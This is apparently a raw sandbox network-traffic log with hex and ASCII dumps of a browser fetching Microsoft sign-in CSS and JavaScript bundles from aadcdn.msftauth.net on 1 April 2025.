2025-04-01 10:11:33 UTC	8204	IN	Data Raw: 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 38 31 31 32 33 7d 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 7b 77 69 64 74 68 3a 32 30 70 78 3b 68 65 69 67 68 74 3a 32 30 70 78 7d 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 3a 3a 2d 6d 73 2d 63 68 65 63 6b 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 32 70 78 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 36 29 7d 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 3a 63 68 65 63 6b 65 64 3a 3a 2d 6d 73 2d 63 68 65 63 6b 7b 63 6f 6c 6f 72 3a 23 30 30 30 3b 62 6f 72 64 Data Ascii: fff;background-color:#e81123}input[type="radio"]{width:20px;height:20px}input[type="radio"]::-ms-check{background-color:#fff;color:#000;border-style:solid;border-width:2px;border-color:rgba(0,0,0,0.6)}input[type="radio"]:checked::-ms-check{color:#000;bord
2025-04-01 10:11:33 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 77 2d 78 3a 61 75 74 6f 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2e 30 31 25 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 35 33 39 70 78 29 7b 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 7b 77 69 64 74 68 3a 31 30 30 25 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 35 70 78 3b 6f 76 65 72 66 6c 6f 77 2d 79 3a 68 69 64 64 65 6e 3b 2d 6d 73 2d 6f 76 65 72 66 6c 6f 77 2d 73 74 79 6c 65 3a 2d 6d 73 2d 61 75 74 6f 68 69 64 69 6e 67 2d 73 63 72 6f 6c 6c 62 61 72 7d 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 3e 2e 74 61 62 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 3e 2e 74 61 62 6c 65 3e 74 68 65 61 64 3e 74 72 Data Ascii: 00004000w-x:auto;min-height:.01%}@media screen and (max-width:539px){.table-responsive{width:100%;margin-bottom:15px;overflow-y:hidden;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive>.table{margin-bottom:0}.table-responsive>.table>thead>tr
2025-04-01 10:11:33 UTC	12	IN	Data Raw: 4b 68 6d 65 72 20 55 49 22 2c 0d 0a Data Ascii: Khmer UI",
2025-04-01 10:11:33 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 22 54 75 6e 67 61 22 2c 22 4c 61 6f 20 55 49 22 2c 22 52 61 61 76 69 22 2c 22 49 73 6b 6f 6f 6c 61 20 50 6f 74 61 22 2c 22 4c 61 74 68 61 22 2c 22 4c 65 65 6c 61 77 61 64 65 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 59 61 48 65 69 20 55 49 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 4a 68 65 6e 67 48 65 69 20 55 49 22 2c 22 4d 61 6c 67 75 6e 20 47 6f 74 68 69 63 22 2c 22 45 73 74 72 61 6e 67 65 6c 6f 20 45 64 65 73 73 61 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 48 69 6d 61 6c 61 79 61 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 4e 65 77 20 54 61 69 20 4c 75 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 50 68 61 67 73 50 61 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 54 61 69 20 4c 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 59 69 20 42 61 69 74 69 Data Ascii: 00004000"Tunga","Lao UI","Raavi","Iskoola Pota","Latha","Leelawadee","Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti
2025-04-01 10:11:33 UTC	12	IN	Data Raw: 6e 2d 70 72 69 6d 61 72 79 3a 0d 0a Data Ascii: n-primary:
2025-04-01 10:11:33 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 35 64 61 36 7d 2e 62 74 6e 2e 62 74 6e 2d 70 72 69 6d 61 72 79 2d 66 6f 63 75 73 2c 2e 62 74 6e 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 66 6f 63 75 73 2c 62 75 74 74 6f 6e 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 5d 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 75 62 6d 69 74 22 5d 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 65 73 65 74 22 5d 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 66 6f 63 75 73 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 35 64 61 36 3b 74 65 Data Ascii: 00006000hover{background-color:#005da6}.btn.btn-primary-focus,.btn.btn-primary:focus,button.btn-primary:focus,input[type="button"].btn-primary:focus,input[type="submit"].btn-primary:focus,input[type="reset"].btn-primary:focus{background-color:#005da6;te
2025-04-01 10:11:33 UTC	8204	IN	Data Raw: 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 2e 32 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 2e 32 35 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 38 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 37 35 72 65 6d 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 32 2e 33 36 33 32 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 2e 33 36 33 32 70 78 3b 63 6f 6c 6f 72 3a 23 31 62 31 62 31 62 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 2d Data Ascii: e{margin-bottom:20px;margin-top:20px;margin-bottom:1.25rem;margin-top:1.25rem;font-size:24px;line-height:28px;font-weight:300;line-height:1.75rem;padding-bottom:2.3632px;padding-top:2.3632px;color:#1b1b1b;font-size:1.5rem;font-weight:600;padding:0;margin-

Timestamp	Bytes transferred	Direction	Data
2025-04-01 10:11:33 UTC	644	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_GjP1RdcVSKf6ASC7mgkR1g2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive Origin: https://login.microsoftonline.com sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 10:11:33 UTC	661	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript Content-MD5: M+E6sttlQMO2TBGc5FDPqA== Last-Modified: Tue, 25 Feb 2025 19:14:31 GMT ETag: "0x8DD55D0A1E1E362" x-ms-request-id: 2f955abc-901e-00ae-18b1-88673d000000 x-ms-version: 2018-03-28 Access-Control-Expose-Headers: Accept-Ranges,Cache-Control,Content-Encoding,Content-Length,Content-MD5,Content-Type,Date,ETag,Last-Modified,Server,x-ms-request-id,x-ms-version Access-Control-Allow-Origin: * Cache-Control: public, max-age=28651304 Date: Tue, 01 Apr 2025 10:11:33 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-GRN: 0.9f04d217.1743502293.7267866
2025-04-01 10:11:33 UTC	15723	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 Data Ascii: 00006000/! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyrigh
2025-04-01 10:11:33 UTC	8865	IN	Data Raw: 54 45 44 3a 22 38 30 30 34 35 35 33 38 22 2c 50 50 5f 45 5f 48 49 50 5f 56 41 4c 49 44 41 54 49 4f 4e 5f 45 52 52 4f 52 5f 4f 54 48 45 52 3a 22 38 30 30 34 35 35 33 39 22 2c 50 50 5f 45 5f 53 51 5f 43 4f 4e 54 41 49 4e 53 5f 50 41 53 53 57 4f 52 44 3a 22 38 30 30 34 33 34 31 45 22 2c 50 50 5f 45 5f 53 41 5f 43 4f 4e 54 41 49 4e 53 5f 50 41 53 53 57 4f 52 44 3a 22 38 30 30 34 33 34 31 43 22 2c 50 50 5f 45 5f 53 41 5f 43 4f 4e 54 41 49 4e 45 44 5f 49 4e 5f 50 41 53 53 57 4f 52 44 3a 22 38 30 30 34 33 34 31 44 22 2c 50 50 5f 45 5f 4c 49 42 50 48 4f 4e 45 4e 55 4d 42 45 52 49 4e 54 45 52 4f 50 5f 4e 55 4d 42 45 52 50 41 52 53 45 5f 45 58 43 45 50 54 49 4f 4e 3a 22 38 30 30 34 33 35 31 30 22 2c 50 50 5f 45 5f 53 54 52 4f 4e 47 50 52 4f 43 45 53 53 5f 45 4d 41 Data Ascii: TED:"80045538",PP_E_HIP_VALIDATION_ERROR_OTHER:"80045539",PP_E_SQ_CONTAINS_PASSWORD:"8004341E",PP_E_SA_CONTAINS_PASSWORD:"8004341C",PP_E_SA_CONTAINED_IN_PASSWORD:"8004341D",PP_E_LIBPHONENUMBERINTEROP_NUMBERPARSE_EXCEPTION:"80043510",PP_E_STRONGPROCESS_EMA
2025-04-01 10:11:33 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 65 6c 70 3a 31 2c 47 69 74 48 75 62 48 65 6c 70 3a 32 2c 43 6f 6e 73 65 6e 74 41 70 70 49 6e 66 6f 3a 33 2c 51 72 43 6f 64 65 50 69 6e 48 65 6c 70 3a 34 7d 2c 6e 2e 4b 65 79 43 6f 64 65 3d 7b 54 61 62 3a 39 2c 45 6e 74 65 72 3a 31 33 2c 45 73 63 61 70 65 3a 32 37 2c 53 70 61 63 65 3a 33 32 2c 50 61 67 65 55 70 3a 33 33 2c 50 61 67 65 44 6f 77 6e 3a 33 34 2c 45 6e 64 3a 33 35 2c 48 6f 6d 65 3a 33 36 2c 41 72 72 6f 77 55 70 3a 33 38 2c 41 72 72 6f 77 44 6f 77 6e 3a 34 30 2c 57 69 6e 4b 65 79 4c 65 66 74 3a 39 31 2c 46 36 3a 31 31 37 2c 47 61 6d 65 50 61 64 42 3a 31 39 36 7d 2c 6e 2e 50 72 6f 6f 66 4f 66 50 6f 73 73 65 73 73 69 6f 6e 3d 7b 41 75 74 68 65 6e 74 69 63 61 74 6f 72 4b 65 79 3a 22 63 70 61 22 2c 43 61 6e 61 72 79 54 Data Ascii: 00006000elp:1,GitHubHelp:2,ConsentAppInfo:3,QrCodePinHelp:4},n.KeyCode={Tab:9,Enter:13,Escape:27,Space:32,PageUp:33,PageDown:34,End:35,Home:36,ArrowUp:38,ArrowDown:40,WinKeyLeft:91,F6:117,GamePadB:196},n.ProofOfPossession={AuthenticatorKey:"cpa",CanaryT
2025-04-01 10:11:33 UTC	8204	IN	Data Raw: 65 2e 6c 65 6e 67 74 68 3c 3d 32 2a 6e 29 72 65 74 75 72 6e 20 65 3b 76 61 72 20 74 3d 65 2e 6c 65 6e 67 74 68 2d 32 2a 6e 2c 69 3d 41 72 72 61 79 28 74 2b 31 29 2e 6a 6f 69 6e 28 22 2a 22 29 3b 72 65 74 75 72 6e 20 65 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 6e 29 2b 69 2b 65 2e 73 75 62 73 74 72 69 6e 67 28 6e 2b 74 29 7d 2c 75 74 66 38 45 6e 63 6f 64 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 3d 65 2e 72 65 70 6c 61 63 65 28 2f 5c 72 5c 6e 2f 67 2c 22 5c 6e 22 29 3b 66 6f 72 28 76 61 72 20 6e 3d 22 22 2c 74 3d 30 3b 74 3c 65 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 7b 76 61 72 20 69 3d 65 2e 63 68 61 72 43 6f 64 65 41 74 28 74 29 3b 69 3c 31 32 38 3f 6e 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 69 29 3a 69 3e 31 32 37 26 26 69 3c 32 Data Ascii: e.length<=2n)return e;var t=e.length-2n,i=Array(t+1).join("*");return e.substring(0,n)+i+e.substring(n+t)},utf8Encode:function(e){e=e.replace(/\r\n/g,"\n");for(var n="",t=0;t<e.length;t++){var i=e.charCodeAt(t);i<128?n+=String.fromCharCode(i):i>127&&i<2
2025-04-01 10:11:33 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 65 3f 28 74 3d 65 2e 75 72 6c 2c 69 3d 65 2e 65 76 65 6e 74 4f 70 74 69 6f 6e 73 2c 6e 3d 65 2e 74 72 61 63 65 50 61 72 61 6d 65 74 65 72 73 3f 6e 3a 6e 75 6c 6c 2c 65 2e 74 72 61 63 65 55 72 6c 26 26 28 6e 3f 6e 2e 75 72 6c 3d 74 3a 6e 3d 74 29 29 3a 6e 3d 6e 75 6c 6c 2c 69 26 26 69 2e 65 76 65 6e 74 49 64 26 26 73 2e 6c 6f 67 45 76 65 6e 74 28 7b 65 76 65 6e 74 54 79 70 65 3a 22 6f 6e 52 65 64 69 72 65 63 74 22 2c 65 76 65 6e 74 49 64 3a 69 2e 65 76 65 6e 74 49 64 2c 65 76 65 6e 74 4c 65 76 65 6c 3a 69 2e 65 76 65 6e 74 4c 65 76 65 6c 2c 65 76 65 6e 74 41 72 67 73 3a 6e 2c 65 76 65 6e 74 4f 70 74 69 6f 6e 73 3a 69 7d 29 2c 74 7d 2c 73 2e 67 65 74 50 72 6f 70 65 72 74 79 4c 6f 67 4f 70 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e Data Ascii: 00004000e?(t=e.url,i=e.eventOptions,n=e.traceParameters?n:null,e.traceUrl&&(n?n.url=t:n=t)):n=null,i&&i.eventId&&s.logEvent({eventType:"onRedirect",eventId:i.eventId,eventLevel:i.eventLevel,eventArgs:n,eventOptions:i}),t},s.getPropertyLogOption=function
2025-04-01 10:11:33 UTC	12	IN	Data Raw: 79 70 65 2e 53 4d 53 3a 74 3d 0d 0a Data Ascii: ype.SMS:t=
2025-04-01 10:11:33 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 6e 3f 6c 2e 4d 6f 62 69 6c 65 45 6e 63 72 79 70 74 65 64 3a 6c 2e 4d 6f 62 69 6c 65 3b 62 72 65 61 6b 3b 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 45 6d 61 69 6c 3a 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 41 6c 74 45 6d 61 69 6c 3a 74 3d 6e 3f 6c 2e 45 6d 61 69 6c 41 64 64 72 65 73 73 45 6e 63 72 79 70 74 65 64 3a 6c 2e 45 6d 61 69 6c 41 64 64 72 65 73 73 3b 62 72 65 61 6b 3b 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 54 4f 54 50 41 75 74 68 65 6e 74 69 63 61 74 6f 72 56 32 3a 74 3d 6c 2e 53 65 73 73 69 6f 6e 41 70 70 72 6f 76 65 72 7d 72 65 74 75 72 6e 20 74 7d 3b 6e 2e 50 72 6f 6f 66 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 75 73 65 72 6e 61 6d 65 7c 7c 22 22 2c 74 3d 65 2e 66 6c 6f Data Ascii: 00004000n?l.MobileEncrypted:l.Mobile;break;case PROOF.Type.Email:case PROOF.Type.AltEmail:t=n?l.EmailAddressEncrypted:l.EmailAddress;break;case PROOF.Type.TOTPAuthenticatorV2:t=l.SessionApprover}return t};n.Proof=function(e){var n=e.username\|\|"",t=e.flo
2025-04-01 10:11:33 UTC	12	IN	Data Raw: 65 64 54 79 70 65 3a 6d 2e 43 0d 0a Data Ascii: edType:m.C
2025-04-01 10:11:33 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 65 72 74 69 66 69 63 61 74 65 2c 72 65 64 69 72 65 63 74 55 72 6c 3a 64 2e 43 65 72 74 41 75 74 68 55 72 6c 2c 72 65 64 69 72 65 63 74 50 6f 73 74 50 61 72 61 6d 73 3a 72 6e 28 65 2e 46 6c 6f 77 54 6f 6b 65 6e 29 7d 3a 5b 5d 29 3b 69 66 28 53 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 45 6d 61 69 6c 5d 26 26 53 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 53 4d 53 5d 26 26 53 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 56 6f 69 63 65 5d 29 7b 76 61 72 20 66 3d 51 65 28 65 2c 21 30 2c 6e 29 3b 66 2e 6c 65 6e 67 74 68 3e 30 26 26 28 63 2e 41 72 72 61 79 2e 66 6f 72 45 61 63 68 28 66 2c 4a 65 29 2c 70 3d 70 2e 63 6f 6e 63 61 74 28 66 29 29 7d 72 65 74 75 72 6e 20 70 7d 66 75 6e 63 74 69 6f 6e 20 6e 6e 28 65 2c 6e 29 7b 76 61 72 20 74 3d 5b 5d Data Ascii: 00006000ertificate,redirectUrl:d.CertAuthUrl,redirectPostParams:rn(e.FlowToken)}:[]);if(Se[PROOF.Type.Email]&&Se[PROOF.Type.SMS]&&Se[PROOF.Type.Voice]){var f=Qe(e,!0,n);f.length>0&&(c.Array.forEach(f,Je),p=p.concat(f))}return p}function nn(e,n){var t=[]
2025-04-01 10:11:33 UTC	8204	IN	Data Raw: 2c 65 2e 65 78 74 65 6e 64 65 72 73 2e 6c 6f 61 64 49 6d 61 67 65 46 72 6f 6d 55 72 6c 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 70 75 72 65 43 6f 6d 70 75 74 65 64 28 7b 72 65 61 64 3a 6e 2c 77 72 69 74 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 6e 28 29 21 3d 3d 65 29 69 66 28 65 29 7b 76 61 72 20 74 3d 6e 65 77 20 49 6d 61 67 65 3b 74 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 28 65 29 7d 2c 74 2e 73 72 63 3d 65 7d 65 6c 73 65 20 6e 28 65 29 7d 7d 29 2e 65 78 74 65 6e 64 28 7b 6e 6f 74 69 66 79 3a 22 61 6c 77 61 79 73 22 7d 29 7d 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 76 61 72 20 69 3d 74 28 32 29 2c 61 3d 74 28 31 29 2c 6f 3d 74 28 34 29 2c 72 3d 74 28 30 29 2c 73 3d 74 28 31 37 29 2c Data Ascii: ,e.extenders.loadImageFromUrl=function(n){return e.pureComputed({read:n,write:function(e){if(n()!==e)if(e){var t=new Image;t.onload=function(){n(e)},t.src=e}else n(e)}}).extend({notify:"always"})}}},function(e,n,t){var i=t(2),a=t(1),o=t(4),r=t(0),s=t(17),

Timestamp	Bytes transferred	Direction	Data
2025-04-01 10:11:33 UTC	663	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_r1sg5sxlkljjoa22hvk04g2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive Origin: https://login.microsoftonline.com sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 10:11:33 UTC	661	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript Content-MD5: 3JO8LQEZ/TDRAhHAFgkHIQ== Last-Modified: Mon, 03 Mar 2025 20:34:05 GMT ETag: "0x8DD5A92BDF0C136" x-ms-request-id: 1919e774-301e-00ac-6caa-8c92ce000000 x-ms-version: 2018-03-28 Access-Control-Expose-Headers: Accept-Ranges,Cache-Control,Content-Encoding,Content-Length,Content-MD5,Content-Type,Date,ETag,Last-Modified,Server,x-ms-request-id,x-ms-version Access-Control-Allow-Origin: * Cache-Control: public, max-age=29087710 Date: Tue, 01 Apr 2025 10:11:33 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-GRN: 0.9f04d217.1743502293.7267867
2025-04-01 10:11:33 UTC	15723	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 69 5b 6e 5d 29 72 65 74 75 72 6e 20 69 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 69 5b 6e 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 2c 69 64 3a 6e 2c 6c 6f 61 64 65 64 3a 21 31 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 6f 61 64 65 64 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 76 61 72 20 69 3d 7b 7d 3b 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 69 2c 6f 2e 70 3d 22 22 2c 6f 28 30 29 7d 28 5b 66 75 6e 63 74 69 6f 6e 28 65 2c 6f 2c 69 29 7b 69 28 32 29 3b 76 61 72 20 6e 3d 69 28 31 29 2c 72 3d 69 28 35 29 2c 74 3d 69 28 36 29 Data Ascii: 00006000!function(e){function o(n){if(i[n])return i[n].exports;var r=i[n]={exports:{},id:n,loaded:!1};return e[n].call(r.exports,r,r.exports,o),r.loaded=!0,r.exports}var i={};return o.m=e,o.c=i,o.p="",o(0)}([function(e,o,i){i(2);var n=i(1),r=i(5),t=i(6)
2025-04-01 10:11:33 UTC	8865	IN	Data Raw: 3d 22 53 75 63 63 65 73 73 66 75 6c 6c 79 20 76 65 72 69 66 69 65 64 22 2c 65 2e 43 54 5f 56 43 5f 53 54 52 5f 53 75 63 63 65 73 73 5f 44 65 73 63 72 69 70 74 69 6f 6e 3d 22 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 22 2c 65 2e 43 54 5f 56 43 5f 53 54 52 5f 50 65 6e 64 69 6e 67 5f 54 69 74 6c 65 3d 22 53 68 61 72 65 20 61 20 56 65 72 69 66 69 65 64 20 49 44 20 74 6f 20 61 63 63 65 73 73 22 2c 65 2e 43 54 5f 56 43 5f 53 54 52 5f 50 65 6e 64 69 6e 67 5f 44 65 73 63 72 69 70 74 69 6f 6e 3d 22 4f 70 65 6e 20 74 68 65 20 4d 69 63 72 6f 73 6f 66 74 20 41 75 74 68 65 6e 74 69 63 61 74 6f 72 20 61 70 70 20 61 6e 64 20 73 63 61 6e 20 74 68 65 20 51 52 20 63 6f 64 65 20 74 6f 20 73 68 61 72 65 20 74 68 65 20 72 65 71 75 65 73 74 65 64 20 56 65 72 69 66 69 65 64 20 Data Ascii: ="Successfully verified",e.CT_VC_STR_Success_Description="Redirecting...",e.CT_VC_STR_Pending_Title="Share a Verified ID to access",e.CT_VC_STR_Pending_Description="Open the Microsoft Authenticator app and scan the QR code to share the requested Verified
2025-04-01 10:11:33 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 6e 69 6e 67 20 6f 75 74 20 6f 66 20 7b 30 7d 2e 20 50 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 2e 22 2c 65 2e 54 49 4c 45 5f 53 54 52 5f 46 6f 72 67 65 74 5f 45 72 72 6f 72 3d 22 54 68 65 72 65 20 77 61 73 20 61 6e 20 69 73 73 75 65 20 66 6f 72 67 65 74 74 69 6e 67 20 7b 30 7d 2e 20 50 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 2e 22 2c 65 2e 43 54 5f 53 54 52 5f 52 65 73 65 74 50 61 73 73 77 6f 72 64 53 70 6c 69 74 74 65 72 54 69 74 6c 65 3d 22 57 68 69 63 68 20 74 79 70 65 20 6f 66 20 61 63 63 6f 75 6e 74 20 64 6f 20 79 6f 75 20 6e 65 65 64 20 68 65 6c 70 20 77 69 74 68 3f 22 2c 65 2e 57 46 5f 53 54 52 5f 43 61 6e 74 41 63 63 65 73 73 41 63 63 6f 75 6e 74 5f 54 65 78 74 3d 22 43 61 6e e2 80 99 74 20 61 63 63 65 73 73 Data Ascii: 00006000ning out of {0}. Please try again.",e.TILE_STR_Forget_Error="There was an issue forgetting {0}. Please try again.",e.CT_STR_ResetPasswordSplitterTitle="Which type of account do you need help with?",e.WF_STR_CantAccessAccount_Text="Cant access
2025-04-01 10:11:33 UTC	8204	IN	Data Raw: 6e 67 41 75 74 68 58 62 6f 78 4f 54 43 3a 35 35 2c 4c 6f 67 69 6e 57 50 57 69 7a 5f 4c 6f 67 69 6e 3a 35 36 2c 4c 6f 67 69 6e 57 50 57 69 7a 5f 48 49 50 5f 4c 6f 67 69 6e 3a 35 37 2c 4c 6f 67 69 6e 57 50 57 69 7a 5f 46 69 6e 69 73 68 3a 35 38 2c 53 74 72 6f 6e 67 41 75 74 68 57 69 7a 4f 54 43 3a 35 39 2c 53 74 72 6f 6e 67 41 75 74 68 57 50 57 69 7a 4f 54 43 3a 36 30 2c 46 69 6e 69 73 68 57 50 57 69 7a 3a 36 31 2c 53 77 69 74 63 68 55 73 65 72 4d 6f 62 69 6c 65 3a 36 32 2c 4c 6f 67 69 6e 57 50 57 69 7a 5f 50 68 6f 6e 65 53 69 67 6e 49 6e 3a 36 33 2c 4c 6f 67 69 6e 57 50 57 69 7a 5f 48 49 50 5f 50 68 6f 6e 65 53 69 67 6e 49 6e 3a 36 34 2c 4c 6f 67 69 6e 5f 50 68 6f 6e 65 53 69 67 6e 49 6e 3a 36 35 2c 4c 6f 67 69 6e 5f 48 49 50 5f 50 68 6f 6e 65 53 69 67 6e Data Ascii: ngAuthXboxOTC:55,LoginWPWiz_Login:56,LoginWPWiz_HIP_Login:57,LoginWPWiz_Finish:58,StrongAuthWizOTC:59,StrongAuthWPWizOTC:60,FinishWPWiz:61,SwitchUserMobile:62,LoginWPWiz_PhoneSignIn:63,LoginWPWiz_HIP_PhoneSignIn:64,Login_PhoneSignIn:65,Login_HIP_PhoneSign
